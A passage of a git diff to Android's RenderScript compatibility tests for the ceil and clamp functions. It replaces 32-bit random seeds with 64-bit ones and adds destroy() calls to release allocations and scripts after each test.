             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCeilFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCeilFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkCeilFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x43152978l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xdb16a3ea43152978l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testCeilFloat2Float2(inV, out);
             verifyResultsCeilFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCeilFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testCeilFloat2Float2(inV, out);
             verifyResultsCeilFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCeilFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCeilFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkCeilFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x39304a56l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xdb186d0539304a56l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testCeilFloat3Float3(inV, out);
             verifyResultsCeilFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCeilFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testCeilFloat3Float3(inV, out);
             verifyResultsCeilFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCeilFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCeilFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkCeilFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x2f4b6b34l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xdb1a36202f4b6b34l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testCeilFloat4Float4(inV, out);
             verifyResultsCeilFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCeilFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testCeilFloat4Float4(inV, out);
             verifyResultsCeilFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCeilFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCeilFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkCeilHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x6f7686bel, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xf287e5866f7686bel, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testCeilHalfHalf(inV, out);
             verifyResultsCeilHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCeilHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testCeilHalfHalf(inV, out);
             verifyResultsCeilHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCeilHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCeilHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkCeilHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xb64a4070l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xb787d7deb64a4070l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testCeilHalf2Half2(inV, out);
             verifyResultsCeilHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCeilHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testCeilHalf2Half2(inV, out);
             verifyResultsCeilHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCeilHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCeilHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkCeilHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x15520564l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xb787e28015520564l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testCeilHalf3Half3(inV, out);
             verifyResultsCeilHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCeilHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testCeilHalf3Half3(inV, out);
             verifyResultsCeilHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCeilHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCeilHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkCeilHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x7459ca58l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xb787ed217459ca58l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testCeilHalf4Half4(inV, out);
             verifyResultsCeilHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCeilHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testCeilHalf4Half4(inV, out);
             verifyResultsCeilHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCeilHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCeilHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestClamp.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestClamp.java
index 7499b77..e6073b1 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestClamp.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestClamp.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestClampRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloatFloat {
         public float inValue;
         public float inMinValue;
@@ -45,9 +52,9 @@
     }
 
     private void checkClampFloatFloatFloatFloat() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xc83c447dl, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x30234027l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xc180322dl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x7e886d7cc83c447dl, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xdcebf6f230234027l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xdcebf6e6c180322dl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
@@ -55,6 +62,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampFloatFloatFloatFloat(inValue, out);
             verifyResultsClampFloatFloatFloatFloat(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampFloatFloatFloatFloat: " + e.toString());
         }
@@ -64,9 +72,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampFloatFloatFloatFloat(inValue, out);
             verifyResultsClampFloatFloatFloatFloat(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampFloatFloatFloatFloat: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampFloatFloatFloatFloat(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -135,9 +147,9 @@
     }
 
     private void checkClampFloat2Float2Float2Float2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x142b07a5l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xea8fc01fl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x7becb225l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xa0d28bf142b07a5l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xb4e5c5f6ea8fc01fl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xb4e5c5eb7becb225l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
@@ -145,6 +157,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampFloat2Float2Float2Float2(inValue, out);
             verifyResultsClampFloat2Float2Float2Float2(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampFloat2Float2Float2Float2: " + e.toString());
         }
@@ -154,9 +167,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampFloat2Float2Float2Float2(inValue, out);
             verifyResultsClampFloat2Float2Float2Float2(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampFloat2Float2Float2Float2: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampFloat2Float2Float2Float2(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -225,9 +242,9 @@
     }
 
     private void checkClampFloat3Float3Float3Float3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x30ad7481l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x3946aa73l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xcaa39c79l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xd3716a4730ad7481l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xc0d239a53946aa73l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xc0d23999caa39c79l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
@@ -235,6 +252,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampFloat3Float3Float3Float3(inValue, out);
             verifyResultsClampFloat3Float3Float3Float3(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampFloat3Float3Float3Float3: " + e.toString());
         }
@@ -244,9 +262,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampFloat3Float3Float3Float3(inValue, out);
             verifyResultsClampFloat3Float3Float3Float3(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampFloat3Float3Float3Float3: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampFloat3Float3Float3Float3(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -315,9 +337,9 @@
     }
 
     private void checkClampFloat4Float4Float4Float4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x4d2fe15dl, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x87fd94c7l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x195a86cdl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x9cd5abcf4d2fe15dl, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xccbead5387fd94c7l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xccbead48195a86cdl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
@@ -325,6 +347,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampFloat4Float4Float4Float4(inValue, out);
             verifyResultsClampFloat4Float4Float4Float4(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampFloat4Float4Float4Float4: " + e.toString());
         }
@@ -334,9 +357,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampFloat4Float4Float4Float4(inValue, out);
             verifyResultsClampFloat4Float4Float4Float4(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampFloat4Float4Float4Float4: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampFloat4Float4Float4Float4(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -405,9 +432,9 @@
     }
 
     private void checkClampFloat2FloatFloatFloat2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xf1fca1a1l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x1a6253d3l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xabbf45d9l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x71623fb3f1fca1a1l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x148e792e1a6253d3l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x148e7922abbf45d9l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
@@ -415,6 +442,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampFloat2FloatFloatFloat2(inValue, out);
             verifyResultsClampFloat2FloatFloatFloat2(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampFloat2FloatFloatFloat2: " + e.toString());
         }
@@ -424,9 +452,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampFloat2FloatFloatFloat2(inValue, out);
             verifyResultsClampFloat2FloatFloatFloat2(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampFloat2FloatFloatFloat2: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampFloat2FloatFloatFloat2(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -495,9 +527,9 @@
     }
 
     private void checkClampFloat3FloatFloatFloat3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x6ab8cf27l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x4d90bbc5l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xdeedadcbl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xc06893ff6ab8cf27l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x1f4444b84d90bbc5l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x1f4444acdeedadcbl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
@@ -505,6 +537,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampFloat3FloatFloatFloat3(inValue, out);
             verifyResultsClampFloat3FloatFloatFloat3(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampFloat3FloatFloatFloat3: " + e.toString());
         }
@@ -514,9 +547,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampFloat3FloatFloatFloat3(inValue, out);
             verifyResultsClampFloat3FloatFloatFloat3(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampFloat3FloatFloatFloat3: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampFloat3FloatFloatFloat3(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -585,9 +622,9 @@
     }
 
     private void checkClampFloat4FloatFloatFloat4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xe374fcadl, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x80bf23b7l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x121c15bdl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xf6ee84ae374fcadl, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x29fa104280bf23b7l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x29fa1037121c15bdl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
@@ -595,6 +632,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampFloat4FloatFloatFloat4(inValue, out);
             verifyResultsClampFloat4FloatFloatFloat4(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampFloat4FloatFloatFloat4: " + e.toString());
         }
@@ -604,9 +642,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampFloat4FloatFloatFloat4(inValue, out);
             verifyResultsClampFloat4FloatFloatFloat4(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampFloat4FloatFloatFloat4: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampFloat4FloatFloatFloat4(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -682,9 +724,9 @@
     }
 
     private void checkClampCharCharCharChar() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0xb673cf75l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0x3c505c8fl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0xcdad4e95l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0xaec8640bb673cf75l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0x6379f7c3c505c8fl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0x6379f70cdad4e95l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 1), INPUTSIZE);
@@ -692,6 +734,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampCharCharCharChar(inValue, out);
             verifyResultsClampCharCharCharChar(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampCharCharCharChar: " + e.toString());
         }
@@ -701,9 +744,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampCharCharCharChar(inValue, out);
             verifyResultsClampCharCharCharChar(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampCharCharCharChar: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampCharCharCharChar(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -771,9 +818,9 @@
     }
 
     private void checkClampChar2Char2Char2Char2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 2, 0xc3feb45dl, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 2, 0x3442bdc7l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 2, 0xc59fafcdl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 2, 0xa209cfe6c3feb45dl, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 2, 0xed63d0ab3442bdc7l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 2, 0xed63d09fc59fafcdl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
@@ -781,6 +828,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampChar2Char2Char2Char2(inValue, out);
             verifyResultsClampChar2Char2Char2Char2(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampChar2Char2Char2Char2: " + e.toString());
         }
@@ -790,9 +838,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampChar2Char2Char2Char2(inValue, out);
             verifyResultsClampChar2Char2Char2Char2(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampChar2Char2Char2Char2: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampChar2Char2Char2Char2(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -860,9 +912,9 @@
     }
 
     private void checkClampChar3Char3Char3Char3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 3, 0xb9d3b0a5l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x470ecb1fl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 3, 0xd86bbd25l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 3, 0xfab6edb7b9d3b0a5l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x7ae6f958470ecb1fl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x7ae6f94cd86bbd25l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
@@ -870,6 +922,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampChar3Char3Char3Char3(inValue, out);
             verifyResultsClampChar3Char3Char3Char3(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampChar3Char3Char3Char3: " + e.toString());
         }
@@ -879,9 +932,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampChar3Char3Char3Char3(inValue, out);
             verifyResultsClampChar3Char3Char3Char3(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampChar3Char3Char3Char3: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampChar3Char3Char3Char3(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -949,9 +1006,9 @@
     }
 
     private void checkClampChar4Char4Char4Char4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 4, 0xafa8acedl, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 4, 0x59dad877l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 4, 0xeb37ca7dl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 4, 0x53640b88afa8acedl, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 4, 0x86a220559dad877l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 4, 0x86a21f9eb37ca7dl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
